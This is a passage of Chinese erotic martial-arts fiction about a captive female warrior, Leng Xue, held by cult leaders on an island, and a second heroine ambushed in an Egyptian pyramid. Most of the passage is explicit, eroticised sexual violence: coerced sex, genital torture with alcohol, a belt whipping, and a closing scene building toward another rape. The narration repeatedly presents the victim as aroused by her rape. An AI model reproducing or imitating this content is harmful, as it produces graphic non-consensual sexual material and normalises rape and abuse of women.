白龙鱼服1-2

  落凤岛,青龙雷破宅邸。
夏青阳从无边的梦魇中苏醒,却看到站立在床榻边的竟然是青龙雷破和神煞罗西杰。仇人相见分外眼红,夏青阳挣扎着想起来却浑身无力,武圣牧云求败那一掌伤得他不轻。
“小兄弟,不要冲动,你伤得很重。”神煞罗西杰抢上一步微微地笑道。
“我这里在哪里?”夏青阳用着嘶哑的声音问道。
“这是我住的地方,昨晚你晕倒在山脚,要不是我救你,你可能已经死了。”青龙雷破道。
夏青阳回想起来,昨晚的确是武圣牧云求败打了自己一掌,至于为什么会和师傅发生冲突,他一时竟回忆不起了。
“谁要你救我,反正我也不想活了。”夏青阳狠狠瞪着雷破道。那日比武之时冷雪当着自己的面说了这么绝情的话,他已觉了无生趣。
“你的事我也听雷破说了,堂堂一个男人,为一个女人命都不要值得吗?再说,她的心也不在你哪里,你这样做不觉自己愚蠢吗?”这倒是神煞罗西杰的真心话,他对武圣因为一个女人而退隐极不理解,哪知他收的徒弟竟也和师傅一样。
“那是我的事,用不你们管!”夏青阳道。
“武圣已经将你逐了出来,你又身受重伤,现在打算怎么办?再问雷破要人吗?雷破说了,只要她肯跟你走,决不阻拦。要不要我叫她过来你问问?”罗西杰道。
虽然夏青阳真的很想好好地问一问她,为什么会这么说,但罗西杰这么有把握,想必问了也是徒然。
“人为刀俎,我为鱼肉。如果她不这么说,那日如果我败了,能留得性命吗?即使侥幸胜了,虽有武圣庇护,你们势力通天,难免也会遭你们毒手。此时我身受重伤,自然更无能力保护她,她不这么说才奇怪。”夏青阳突然想到了一个合理的解释,虽然隐隐的还是失望,但心情却舒畅了些。
“哈哈,说得有道理,有道理!这也告诉了你,要成这个世界的强者,只有强者也有话语权,才能得到自己想得到的东西!”罗西杰长笑着道。
“说这些废话也没什么意义,你们要杀要剐悉听尊便!”夏青阳神色有些黯然,他说得没错,是因为自己不够强大才保护不了雪儿,让她一次又一次地失望了。
“我们要杀你也不用等要现在,让你自生自灭就行了。要不是我和雷破用真气为你疗伤,我看你明天这时候也醒不过来。”罗西杰道。
“你们救我干什么?”夏青阳微微运气,知道罗西杰所言非虚。
“在我说原因之前,我想先说一件事。”罗西杰微笑道。
“什么事?”夏青阳问道。
“我知道你视雷破为仇敌,主要的的原因是雷破抢了你心爱的女人。但他只不过是个执行者,幕后之人却是武圣牧云求败。更可恶的是,他竟然强令雷破把她送去金水园!那是什么地方?是岛上最低级的妓院!是牧云求败把一个冰清玉洁的姑娘变成了一个人尽可夫的妓女。”神煞罗西杰看到夏青阳已经怒不可遏,他继续道:“所以,雷破不是你的仇人!虽然他打伤过你,却也救了你命。我希望你和他冰释前嫌,哪怕不做兄弟,至少也不要是仇人。”
夏青阳向着青龙雷破望去,只见他一脸友善地道:“青阳老弟,过去有得罪啊!”虽然看着这样脸仍令夏青阳极不舒服,但冤有头、债有主的道理他也明白,他移开目光道:“放心,以后我不会向他去寻仇了。”
夏青阳的倨傲令青龙雷破很是恼怒,但表面却依然保持着微笑。
“那就好。至于为什么救你,原因很简单,你是今年魔神洞的胜利者,是我教的翘楚英才。如果不出意料,很快会有一场恶战,此时正是用人之际,怎么能自断臂膀。此战,我相信你必会一举成名、大放异彩!”
“我没什么兴趣。”夏青阳冷冷地道。
神煞罗西杰胸有成竹地道:“不仅是我,法老王对你也很感兴趣。此战过后,你可以和我一起离开这样。当然你心爱的女人也可以和你一起走,永远地跟着你,不离开你。”
“你说什么?我可以带着雪儿离开!”夏青阳黯淡无神的双眸顿时亮了起来。
“是的,我保证。”神煞罗西杰表情严肃地道:“虽然我们第一次见面,但你应该知道我神煞罗西杰,说得出就一定做得到。”说着他又转向青龙雷破道:“你说呢。”
“那是当然,罗西杰大人向来一言九鼎,不就一个女人,你带走就带走,我没意见。”青龙雷破说这话的时候看上去颇有些勉强。
“一言为定!”夏青阳精神大振,他从床上支起身体伸出手掌道:“击掌为誓。”
罗西杰也伸出手掌但虚虚地凝在空中道:“不过,在你爱的人回到你身边前,你还必须先做一件事。”
“别说一件,只要你说的出,我就做得到!即使赴汤蹈火,我也不会皱一下眉的!”夏青阳向着罗西杰手掌击去。
“好!”罗西杰高声道。
随着一声响亮的击掌声,夏青阳心中热血沸腾。
盟誓之后,罗西杰向夏青阳说要他做的事。夏青阳稍稍犹豫便答应下来,这让罗西杰极为高兴。
“你的伤虽重,但应该还能行走,调理一下气息就走吧。”罗西杰道。
“好!”夏青阳坐直了身体闭目运功。
“罗西杰和雷破走出屋外。走了一段罗西杰侧过脸道:”这事我没和商量就这么定了,你不会有意见吧!“
“罗大人,你不会真的把她给这小子吧。”雷破极不甘心地道。
罗西杰面色一沉道:“雷破,原来你还真的舍不呀!原来英雄都是难过美人关的呀!”
雷破连忙辩解道:“我不是这么意思,我不是不舍得,就是太便宜那个小子。再说,她不都是说了不肯跟这小子!”
罗西杰冷冷地笑了一声道:“你这算什么话?如果他办成那事,那是大功一件。这且不说,极道天使就要来攻打此岛,他的武功比你那些手下不知强多少。是一个强悍的战士重要还是一个女人重要?再说,女人跟谁是她自己能说了算?真是笑话!这样下去,我看你都和武圣一样了!”
神煞罗西杰是法老王指派下来的特使,再加上他的身份地位,雷破自然不敢违抗,他连声道:“罗大人说笑了,我也只是随便一说,一切听凭大人安排。”
“好了,快去安排防务去吧,留给我们的时间并不多了。”罗西杰神色缓和了下来。
“是,我这就去。”雷破应道。
在他已经走远时,突然听到罗西杰的声音:“雷破,等下你让她到我这里来一下。”
雷破知道罗西杰说的她是谁,但他除了说是还能说什么?
罗西杰离开后,雷破的心情非常郁闷,晚饭吃得如同嚼蜡。他检查完防务九点不到就回了住所。她是六点去了罗西杰那里,按道理二个多小时也差不多了,但雷破左等右等,一直等到快十一点,她才姗姗回来。
刚进房间,冷雪看到雷破神色阴沉,虽然不能完全确定但她想到可能是与罗西杰有关。几天来每次自己服侍罗西杰后他的脸色都不好看,对于这个的反应她喜忧参半。雷破越是迷恋自己,自己的地位也更加稳固,如果两人因此而心生龌龊,势力会对岛的防务带来影响。而忧的是雷破生性暴虐,当怒气积累到一定程度必然会暴发,其后果难以预料。
“你和罗西杰搞得很爽吧!”雷破浓眉紧锁地道。虽然此时冷雪衣着齐整还化了淡淡的妆,依然明媚动人娇艳如花,但雷破还察觉到了她极力掩饰的疲惫之色,而且走路时腿往外撇很是怪异。身怀古武学的个个都是性超人,被罗西杰搞了整晚还能走着回来已经算不错了。
冷雪顿时一脸慌张象只受惊的小鹿,她双手不由自主地握在胸前不安地搓动着道:“那有,没有,没有的事……”。不得不承认,虽然她是学过一些表演方面的知识,但此时的演技却绝不比那些大牌明星差,即使似青龙这般阅人无数经历过大风大浪之人也看不出丝毫的破绽来。
雷破的心情也有些复杂,虽然多少有些怜惜之意但更多的还是愤怒。这愤怒不仅仅是因为自己喜欢的女人不情不愿地让别人干,更多还是因为罗西杰来了之后仗着是法老王的亲信对自己颐气指使,这是本是可是他的地盘。
“你和他整晚都干了什么?”雷破话一出口就觉得自己象个蠢货,这话问得也太多余了,她和罗西杰在一起除了做爱还是干什么。他见冷雪支支唔唔还没回答急忙道:“晚上你和他搞了几次。”
“三次。”冷雪实话实说不敢骗他,如果说了谎万一被戳穿那就得不偿失。自从那次罗西杰在厕所里奸淫她后,冷雪感到他与之前有着不同,今晚他还说这么一句话:你很象我以前认识的一个女孩,那些记忆太久远了,如果不是因为你我可能都想不起来了。虽然说这话的时候他情绪有些波动,但很快他就深不可测让人无法捉摸。虽然即使是罗西杰不化工夫细细检查是无法察觉她也身怀古武学,但和罗西杰在一起,那根无形的弦绷得更紧,以致很难激发起欲望令他感到满意。
“次次都高潮了吗?”雷破又问道。他之所以迷恋冷雪,很大程度是因为她在性爱中的表现,尤其是在她高潮的神情与身体的反应让他如同吸食鸦片般上瘾。圣洁与淫荡两种如同水火般截然不相同的气质竟能够完美地融合在一起,在这世界上或许也只有冷雪能做到。当然,赏识这样的美需要相当的见地,雷破、罗西杰都是人杰,反到那些去金水园的男人却不如他们这般痴迷。
冷雪一时不知如何回答,虽然很困难但她三次都有高潮,在罗西杰这样的人面前她不敢伪装。虽然有着充足的准备,她的意志又极其坚韧,但对于高潮她的内心是复杂的。在经历过失贞时刻骨铭心的痛,经历过金水园人尽可夫的地狱生活,对于被奸淫虽然心中依然会难过但已然能坦然面对。她知道要让雷破这样的人喜欢自己,必须要表现出被他征服的姿态,必须要用真真实实的高潮来取悦于他。但就象今晚,由于精神紧张被奸淫一个多小时才勉强地有了高潮,当她以为再次被奸淫时自己会更难到达欲望的巅峰时,没想到还是有了第二次甚至第三次的高潮。在这个时候,她总是怀疑自己是不是真的有淫荡的一面。她可以为了信仰而奉献一切包括生命和身体,但她坚信自己身体虽然已经污秽但心依然洁净,所以有这样的怀疑带来的负面影响甚至比在金水园里每天被十几个男人奸淫更大。
“哪可能,除了刚开始的一次好象是真的,后面我都是装的,如果我不装的话可能到现在我还回不来。”虽然对这般赤裸裸的问题心里极不舒服,但冷雪依然装出一副委屈的样子:“他实在太厉害了,第一次做了有一个多小时,和他做我真的没什么感觉,但我很怕他,我想让自己兴奋起来,但总也做不到。我看他脸色越来越难看,心里就越来越怕,我怕他打我甚至会杀了我,后来不知怎么突然想起了您,我想我这做是为了您,如果我有危险您也一定不会不管的,想到这些我的心里也就安定了些,我想着想着也就兴奋起来,所以第一次的高潮应该是真的。之后的两次我大半都是装出来的,我真的没办法,不这么做他不会放我走的。”她还是决定骗雷破,三次的高潮都是真的,在罗西杰这般级数的人物面前她一样不敢伪装,一旦被察觉后果难料。
雷破的神色依然阴郁,最初把她当礼物一样送给罗西杰时他并不太在意,但之后的情绪变化是他没料想到的,这其中虽然有看不惯罗西杰的因素,但更多的还是因为她。只要是人都不会愿意将自己喜欢的东西与人分享,更何况象雷破这样的有着强烈征服占有欲望的强者。
“把裙子内裤脱了。”雷破沉声道。虽然刚才她的解释让他的怒意稍减,但憋在心中的那股邪火却依然在熊熊燃烧,他需要渲泻。
虽然不知道接下来会面对什么,冷雪没有丝毫犹豫地脱去了白色的长裙,然后弯下腰将才换上去的纯白色的亵裤慢慢地褪了下来。无论多么恶劣的环境人都会慢慢适应,对于冷雪来说坦然自若的在男人面前宽衣解带已不是件困难的事,相比而言如何渡过被他搂着睡觉夜晚是一个更大的挑战。
当冷雪直起身如鲜花般美丽的私处一览无遗的呈现在雷破的眼前,虽然已经过了清洗,但方才长达数小时高强度的欢爱依然留下了痕迹,两片如初春桃花瓣般娇嫩的花唇因过度的摩擦显然有些红肿,怪不得她刚走路的姿势怪异,这样红肿着的私处哪怕是轻轻触碰必定会很痛。
“给我站直了。”雷破冷冷地道,他拿起身边的酒瓶大大了喝了一口,然后猛地将嘴里的酒喷向了红肿的私处。
冷雪措手不及惊叫起来,双手不由自主地捂在了双腿间,私处传来火辣辣的剧痛,但很快雷破就命令她把手拿开,他连喷了数下,私处已一片透湿。紧接着雷破的手掌的整个压住了湿淋淋的花唇极端粗暴地揉搓起来。
冷雪当然不能去阻止他的暴行甚至连双腿都不敢并拢,虽然这点痛算不了什么,但她还是很入戏地痛苦呻吟起来,欣长笔直的双腿更不由自主地剧烈颤抖。她有些担忧,自从再次回到雷破的身边,他除了做爱时有些粗暴平时对她还算不错了,也没有变着法子折磨她,但此时却施以暴行,虽然大致可以猜得到原因,但无法预料还会发生些什么。
一阵狂乱地搓揉后雷破的手掌离开了私处,被暴力摧残过的花唇一片狼籍,冷雪偷偷地看了看雷破却心中一沉,他的神色依然阴沉。冷雪想说些什么,但却又不知道该说什么,身为一个以守护为责任的凤战士她是很难理解雷破这样视规则尊严为无物的魔教之人,如果说的不到点子上更会激起他的怒气。
“把这瓶酒灌进里面去!”雷破将手中的酒瓶递向了她。
“是,主人。”冷雪接了过来。那是一瓶俄罗斯产的BELUGANOBLEVODKA贵族伏特加,细长的瓶身瓶口不算太大。在这行走与刀锋的日子里,只有活下去才有希望,才能去解救自己的姐姐还有那些关在落凤狱中的战友,所以她拿到酒瓶的第一反应并不是愿不愿意这样做而是自己是否能够做得到。
要把酒灌入阴道必需得躺着才行,冷雪想了一下坐在了离他最近的红木茶几上,她一手反撑着桌面,一手拿着酒瓶,双腿缓缓曲起呈M状,穿着银色高鞋的双足搁在茶几的两侧。此时她已经有点猜到雷破这样做的用意,他是想用酒精来洁净她的身体,如果真是这样说明他对自己的喜爱程度在加深,而她需要做的依然是用自己的身体来诱惑他,让他越陷越深。
伏特加酒的瓶口顶在了花唇间,她握着酒瓶轻轻晃动纤腰,粉色的花唇缓缓地含住了晶莹透明的瓶口,一点点、一点点将瓶口吸进了幽深的花穴。在瓶口进了有寸余时,她开始后仰直到脊背贴着茶几,然后双足踩着桌沿高挺起赤裸的玉臀,身体连着酒瓶都是向后呈四十五度角,瓶中的烈酒猛然灌入花中穴。
象针扎般的刺痛从双腿间蔓延到了全身,方才过于激烈的性爱不仅让花唇红肿更擦伤了花穴的内壁。冷雪忍着痛眼神有些迷离,从进屋面对着他如凶兽一般的眼神,精神一直高度紧张,此时从她的角度看不到雷破的脸,紧绷的神经终于可以有了片刻的歇息。但也只有片刻她不得不再度集中心神,痛倒还能忍但极度的疲惫让她根本无法支撑下去。她知道这仅仅是开始,她了解雷破,今晚不折腾她两三次是不会罢休的,但就在不久前自己已经有过三次高潮,她不知道自己疲惫到极点的身体还能不能产生欲望,如果不能她都无法想象怒气冲天的他会怎么对待自己。她希望自己能够做到,但真的做倒了,她又会怕,是什么样的女人能在敌人的奸淫下一晚有四五次的高潮,在被那么多人奸淫之后真的如同妓女一般淫荡下贱了吗?想着想着,冷雪胸口涌动着难以克制的酸楚,不知不觉间泪水在眼眶里打着滚,她想控制情绪但转念一想没必要去控制,去陪罗西杰是雷破的命令,回来还要受这样的罪,身为一个女人难道不应该委屈,不应该落泪吗?于是她的呻吟中夹着泣声,一串晶莹的泪花顺着绝美的脸颊缓缓地的落了下来。
雷破听到了她的泣声心中不由软了几分,当他准备停止这个游戏的时候,忽然脑海中跳出罗西杰第一次干她时候的画面,那一次好象罗西杰也象这样把一瓶红酒灌进了她的阴道,更恶心地直接凑过去喝。刹那间他的无名邪火又腾腾升起来,他猛地站了起来走到了她身前。
看到他的目光冷雪心沉了下去,不知什么原因他怒意更盛了。正当她惶惶时,雷破已一把夺过了酒瓶远远了扔了出去,紧接着她的身体翻了过去,又没过几秒如烧红铁棍般炙热的阳具猛地刺入了仍不断流淌出烈酒的玉穴,顿时沉闷的肉体撞击声在空荡的房间里响了起来。
冷雪有些慌张,她不知道雷破在想些什么,为什么用这样的暴力对待自己。自己的身份应该没引起他的怀疑,否则就不是奸淫而是严刑拷打了。应该是与罗西杰有关,他不愿意自己的女人被别的男人干,但却因为罗西杰的地位而无可奈何,然后把一腔怒火向自己发泄?如果是这样倒没太大问题,等他发泄完了自然也就没事了。想到这里冷雪的心稍稍定了些。
人是一种矛盾的动物,雷破也是。他既想讨好罗西杰,私下却不能忍受他的嚣张;明明心里对冷雪迷恋,但理智却又不愿意承认。有矛盾就会有烦恼,再加上今天上午罗西杰自作主张地答应那小子,只要办成了那事就把她拱手让人,这不仅是舍得不舍得的问题,更事关一个男人的尊严,所以雷破憋了很久的邪火终于暴发了出来。
雷破一直沉默着,他如同一台强劲的打桩机,一次次把坚硬如铁的阳具刺入她的身体,在狂风骤雨般的侵袭下冷雪低声呻吟,呻吟中夹着泣声。
虽然冷雪判断得并没有错,但她还是低估了雷破愤怒的程度。当他终于停下来把阳具从自己身体里抽离时,她以为他应该发泄得差不多了。但很快她知道自己错了,因为雷破让她撅起屁股象狗一样趴在茶几上,然后她听到了僁僁嗦嗦的声音,他似乎在脱什么东西,隔了片刻身后响起呼啸声,高翘的臀部顿时一阵火辣辣的刺痛,刚才那声音是雷破在解皮带。虽然很痛,冷雪倒没有慌乱,因为以他的力量即使不用真气仅靠蛮力也能把自己打得皮开肉绽,但这一下最多有点红肿,他只用了二、三分的气力,这说明愤怒并没有让他失去理智。
第二节、白龙鱼服2
半指阔的皮带在空中狂乱舞动,很快高翘着的雪臀布满纵横交错的血痕,终于雷破长长了舒了一口气,胸中的沉郁闷节开始消散。
“回房,睡觉。”雷破扔掉了皮带道。
冷雪从茶几上跳了下来,迈着颤颤巍巍的步子跟在雷破的的身后,她的心情没有轻松多少,雷破说是去睡觉,但他至少还会折腾自己个把小时甚至更长,而此时她已精疲力竭,连走路都走不稳,她极度怀疑自己似散了架似身体是否还能催发出激情与欲望。
进了房间雷破脱掉衣服倚靠在床背上,赤裸着下体的冷雪除去上衣也上了床。
雷破手指指了指自己的前胸口,他的神情似乎也有些疲惫。经过这些天的相处,冷雪已经掌握他肢体语言甚至眼色下达的指令,例如指指下体是让她吹箫,如果指的方向高那么两寸是让她在他面前自慰表演,如果指的是她的胸则是想玩一下乳交等等。此时雷破指自己胸口则是让她舔乳头,冷雪倚在他的身旁将脸贴在他的胸口,诱人的红唇含住了他的乳头轻轻吸吮起来。雷破的手从她的后背缓缓地向下,手掌滑入玉臀间的深沟,冷雪将腿绷直抬了起来悬在半空,让他更方便地摸索到自己的花唇也能清楚地看到花唇的变化。
雷破之所以迷恋于冷雪,除了她的绝世容颜和独一无二的圣洁气质,还有她在性爱过程中每一个细节的精准把握和到达欲望巅峰时的澎湃激情,要魅惑雷破这样心如钢铁般男人这几个要素缺一不可。就似现在,冷雪侧着身一边轻舔着他的乳尖,一边捧起自己的乳房,时而轻轻搓揉,时而用指尖轻轻拨弄雪峰顶上那小小的蓓蕾,在雷破的乳头在她嘴里硬起来的时候,她的乳头也悄然绽放。在雷破手伸到娇嫩的花唇时,长长的玉腿犹如优雅的芭蕾舞者般刺向空中,看着这般充满着艺术性更无比诱惑画面,只要是男人就会似吸食鸦片般沉溺其中。
虽然日后青龙雷破会为自己的这份痴迷付出惨重的代价,但无疑他也是幸运的,因为他曾经享受过了在这世界上几乎不存在的极致欢爱。冷雪的绝世容颜本就世间难觅,上岛后又系统地学了很多取悦男人的知识,又特别容易进入状态亢奋起来,但说在这世界上几乎不存在,却并不是因为前面几点,更重要是她把和雷破每一次性爱都当作一场战斗,为了魅惑他,以战斗着的心态向他展示着自己最美丽的一面。
冷雪和夏青阳也有过一次欢爱,但纯粹以美的角度来说,无论是肢体动作和身体姿态,都不能和雷破欢爱时相比。因为她不再把性爱当作战斗而是一种享受,身体放松、思想放松,动作姿态都非常随意,绝不象现在她时刻地保持一种紧绷,时刻在表演,时刻在展示自己最美丽的一面。也因为这样,雷破越来越觉得和其它女人做爱都不太提得起兴趣,极乐园里都是些庸脂俗粉根本看不上眼,对梅姬也没什么感觉了,就连落凤狱里那些曾经十分热衷的凤战士竟也让他感到索然无味。
作为年轻一代最强的凤战士之一,冷雪虽然在武力在可能略逊作为魔教五神兽之一的雷破半筹,但在这一场没有硝烟的战场上她却开始慢慢占据着主动。
既然是战斗凶险无处不在,身体姿态虽然极具诱惑但还不够,按着她的设计自己的花唇应该在雷破的爱抚下慢慢地湿润丰盈起来,就象花朵一样在他的指间绽放,这才是最美的。但今天她实在太累了,花唇和玉穴深处都依然火辣辣地刺痛,无论她怎么努力那两片纤薄的花唇就象被霜打过的花瓣一直都是蔫蔫的。
冷雪用眼角的余光偷偷观察雷破,他倒没什么恼怒的神情,一副若有所思的样子,也不知道他在想些什么。大约舔了有五分钟,她举在半空中的腿开始颤抖起来,无法保持笔直而微微地弯曲,这个姿势很累,而她已几乎没什么体力。
“做吧,做完了早点睡觉。”雷破支起了身体道。
冷雪看到他的手势是让自己躺下,这不仅令她有些奇怪,以往雷破总是让她先在上面,然后等她娇喘吁吁身体开始冒汗时才变换姿势。此时用的是最普通的男上女下式,对于女人来说只需要张开双腿就行了算是最轻松的了,但因为玉穴干涩,肉棒的插入还是略有些困难,和刚才相比雷破好象换了个人,在冷雪印象中他好象还从来没这样温柔过。肉棒抽插了数十下后玉穴终于开始渐渐润湿起来,但冷雪心知肚明自己并没有产生多少的性欲,她身体虽然极力地配合着雷破的动作,但表情却不敢伪装。雷破对自己的身体很熟悉,如果自己假装兴奋一定会被他识破,反倒弄巧成拙了。她用一种楚楚可怜的眼神看着他,会说般的大眼睛似乎告诉他:对不起,不是我不想,实在今天身体太累了。
雷破应该读懂了她的眼神,但却依然面无表情,他机械地开始加快速度,大约十五分钟后冷雪凭着对他的了解察觉到他竟然快要射了,这让她更为诧异。这是从来没有过的状况,时间如此之短,自己还没亢奋之他竟要射了。她来不及思考,身体象八爪章鱼般紧紧缠绕住他,拚尽最后一点力量扭动着细腰翘臀,虽然自己没有亢奋但也尽可能让他得到最大快感。
浓浓的精液再一次地灌满了她的玉穴,抱了一会儿后雷破拍拍她的肩膀让她起来。冷雪取来湿毛巾为他擦拭,之后又简单的洗了一下后重新回到了床上。
“累了,睡吧。”雷破将赤裸的冷雪搂在怀里关了灯。
黑暗中冷雪依靠在的胸膛上,这已经是第七个晚上被他搂着睡觉了。雷破会和她睡一张床出乎她的意料,虽然这说明他真的喜欢自己,但对于她来说却是一种无比的痛苦煎熬。先抛开羞耻屈辱这些问题,这些东西已经被埋藏在了内心最深处,最大的困难在于对精神的挑战,人不能一直二十四小时都绷着那根弦,如果有得选,她宁愿回金水园,虽然被那些猪狗一样的男人奸淫无比痛苦,但那根弦不用绷得那紧,每晚至少还有几个小时可以安安心心的休息。
冷雪很怕自己在睡梦中突然说什么梦话或者干脆一掌杀了身边这个夺去自己
童贞的恶魔,第一个晚上她几乎没睡觉但却不敢动弹一下。但作为年轻一代中最杰出的凤战士之一,她所要做的就是化不可能为可能,在决定赴落凤岛的之时她已有这样觉悟,所以最后她还是坚持了下来,能在雷破的怀中睡着了,那是她必要要做到的,睡眠是体力的根本,没有足够体力在这恶魔之岛她根本无法生存。
没多久,冷雪终于进了梦乡,今天她太累了。
◇◇◇
万里黄沙,夕阳如血。一片无垠中,一块高约半米的三角状巨石屹立着。沙漠中的巨石显得突兀,而这却是它雄伟面貌的冰山一角,无尽岁月的侵蚀,黄沙覆盖了这座高达百米的金字塔,只在最猛烈的沙尘暴过后,才得略窥它的真容。
塔外沙海平静如镜,而在金字塔的内部,一场激战却如海啸般激烈。
数个身着黑衣的男人围着一个少女,在火烛明灭不定的光影中他们似猛兽般扑向她,攻法张驰有度,配合天衣无缝。少女虽然处于劣势却凛然不惧,身法如行云流水,将逼近的黑衣人逐个击退。
突然,烛火全灭。黑衣人似能在黑暗中视物般攻击极为精确,少女左挡右支却仍被屡屡被击中。约莫过了半盏茶的功夫,一束极强烈的光亮了起来,笼罩在已倒在地上的少女身上。
暗与亮的骤然变化,让已受重创的少女看不清四周。那些黑衣人依然围绕着她,他们隐身在黑暗中,冷冷地注视着眼前的猎物。
少女手撑着地面艰难地站了起来,秀发有些散乱,却丝毫无损那绝世的艳色。
在那一轮的疾攻中,身上的衣服已破烂不堪,衣襟大大地敞开,文胸也被黑衣人扯去,巍巍的雪峰一览无余,如羊脂玉般润泽的酥胸在光亮中闪着透明似的晶莹,美得令人难以窒息。
那少女正是只身赶赴埃及的凤战士解菡嫣。那晚在潜艇上,洛紫烟在临终前让她去埃及取一件非常重要的东西,并且要求她暂时不要向上级汇报,因为大禹山基地有魔教的眼线。
埃及是魔教三大基地死亡之塔之所在,经过了多年的经营魔教控制了埃及的军政界,可以说是魔教的地盘。就象是落凤岛,在冷雪上落凤岛之前凤连其准确位置也很难掌握,埃及也是一样,凤屡次派精锐刺探死亡之塔的情报却屡屡受挫。
究其原因绝大多数的凤战士都是中国人,在一个非洲国家,长得很漂亮的亚洲女性总显得格外鹤立鸡群,格外引人注目,所以凤战士很难在埃及站住脚。在开罗还好一些,毕竟开罗是个国际大都市,而死亡之塔位于离开罗百多公里外的拜哈里亚镇附近,拜哈里亚镇很小人口不足十万,所以凤战士要在那里潜伏则更大困难。
解菡嫣要去取的那东西正是在拜哈里亚,她虽然知道魔教在死亡之塔在埃及但对那里情况却极不了解。在她进入埃及到达开罗时已经被魔教盯上了,对于疑是凤战士的亚洲女性都会被试探,包括跟踪、绑架、监视等等,执行这些任务的不完是魔教的人,更多的是由被收买的警察或者黑道中人来进行。因为她孤身一人可疑程度极高,对她的试探用的是最粗野直接的绑架。在被袭击的那刻,解菡嫣也想到了这可能是试探所以起初并没反抗,但当那些绑架者准备强暴她时,她考虑再三又见他们并非魔教中人便出手制裁了这些人。这下她的身份已经暴露,在她赶赴拜哈里亚里亚的途中,魔教的高手展开了对她的截击。在受洛紫烟传功后她武功大进,她连连突破重围,但孤军作战加上人生地不熟终还是被魔教高手重创。她趁着夜色躲入一个山洞,但没想到却是魔教的陷阱,各种机关加上迷药终于将她逼入绝境。
“投降吧,你已经无力再战了。”领头的一个男人沉声道。他身材不高却是极为魁梧,巨大的头颅上是一头棕色卷发,双目深凹鼻梁高耸,是个土生土长的埃及人,虽然貌不惊人他却是法老王得力猛将鳄神贝塔克。
“你们用迷烟暗算,卑鄙小人。”解菡嫣痛斥道。以她的武功鳄神贝塔克虽强依然困不住她,但一时大意被迷烟所侵功力大打折扣才会被他所伤。
“这叫兵不厌诈,是你慌不择路躲进这个洞里,怨得了谁。”贝塔克虽然是埃及人但中文却说得极为流畅。
解菡嫣单掌立在胸前凝神运气,迷烟的侵蚀再加连连受创,她几乎已没有再战之力。解菡嫣心中有些黯然,在受洛紫烟传功后武功大进,她信心满满的赶赴埃及,但不仅洛紫烟的重托无法完成更身陷重围危在旦夕。她看到贝塔克的眼神在慢慢地发生着变化,少了几分戒备和凝重,却多了几份轻佻与渴望。解菡烟明白眼前的男人在想些什么,如果有得选择她宁愿战死在这里,但死亡对她而言却是一种奢望。
贝塔克挥了挥手,几个黑衣人猱身扑了上去,他们的武功与她相差甚远,但已受了重伤的解菡烟却难以抵挡他们的攻击。混战之中黑衣甩出几根铁链,解菡嫣竭力躲闪但有两根铁链似毒蛇一般缠绕在她细巧的足踝上,她急忙将仅余的真气贯注双腿才没有被拉倒。正当她试图脱困时贝塔克却突然从正面发动攻击,解菡烟双足钉在地上见招拆招艰难地挡住他暴风骤雨般的进攻。
真气衰竭解菡嫣只能以巧劲化解对方势大力沉的掌力,有几次明明已经挡不住了,对方的攻击却缓了下来。解菡嫣看到了对方的神情,顿时明白了,他的攻击并不是以击倒自己为目的,而是在欣赏着她的表演。
因为修习古武学之故,凤战士个个都是美女,虽然美到一定程度难分高下,但在年轻一代的凤战士中有三大美女。排名第一是冷雪,独一无二的圣洁气质令人震撼更令人想往;排名第二的是风晚晴,她有一种特别的媚,那种一种能让天下男子一见倾心的妩媚;解菡嫣排名第三,她的美是是一种自然的美,神女高不可攀,媚意令人销魂,但有时那种清新自然的美却更让人能感觉到放松与陶醉。
当年在香港争夺黄帝之剑,魔教一众高手目睹解菡嫣裸体时无不神魂颠倒,而此时的贝塔克也是一样。魔教中人都渴望有机会去征服那些高高在上的凤战士,但在埃及凤战士极少,多年来被生擒的凤战士屈指可数,贝塔克的地位不算太高,所以即使有被抓的凤战士也不一定轮到他上。贝塔克上一次奸淫凤战士是在三年前,虽然那个凤战士很漂亮,但轮到他的时候她早被多人强暴过,已经奄奄一息了,无论贝塔克怎么使出吃奶的劲折腾,那个凤战士就如同一具尸体,不要说动一下连个声响都没有。
在解菡嫣突破围困后魔教就在各个方向设伏,贝塔克没想到她竟撞到了自己的枪口上,立功倒还是其次的,重要的是时隔三年,他又一次有机会去征服凤战士,而眼前的凤战士要比三年前的那个更年轻也更漂亮,他心花怒放就象中了千万巨奖般亢奋无比。生擒她已经是铁板铁定的事,绝不能直接带回去,带回去就轮不自己了,但在这里干了她回去有可能会受到法老王的责罚。但这个诱惑实在太大,而且这么年轻的凤战士极有可能还是处女,如果能破一个凤战士哪怕受再严厉的责罚也是值得的。
解菡嫣趁着他走神之时一掌击在他胸口,但她的力量所剩无几,贝塔克只痛不伤。这一掌让贝塔克回过神来,他心中已打定了主意攻势顿时猛烈了许多,解菡嫣挡不住他的攻击,胸腹被连连的重击,终于失去了战斗能力。
解菡嫣赤裸的身体倒了下去,几个黑衣人冲了过来将她扶住抓着她的手臂反扭在身后。贝塔克痴痴地望着眼前赤裸高挺的雪峰,那是艺术品,比金字塔中的珍宝更璀璨夺目、更完美无瑕。他伸着双手手指不般地屈拢张开,刚才的几下重击他已经触到过那巍峨的山峰,他回味起那令人热血沸腾的感受。
望着贝塔克血红的眼睛,解菡嫣身体越来越冷心潮剧烈翻滚,作为一个凤战士最悲哀的不是战死而是尊严被践踏被蹂躏。每一个凤战士从小被教导,无论在何等恶劣的环境下都不能放弃生命,但这样一条教义让多少凤战士行走在阿鼻地狱之中。
再一次的凌辱即将到来,她想起自己失去童贞的那个夜晚,那条小船,还有那个叫尹紫阳的男人,虽然是他夺去了自己的童贞,但之后他所做的一切让解菡嫣心情复杂地放了他一条生路。而对于殷啸还有那个猥琐到了极点的洛克船长,她则恨不将他们碎尸万段,而眼前她又将面对另一个殷啸、另一个洛克船长,梦魇般的镜头浮现在脑海之中,她绝美的脸庞因愤怒而涨得通红,胸前高峰的雪峰也随着急促的呼吸如波涛般翻滚。
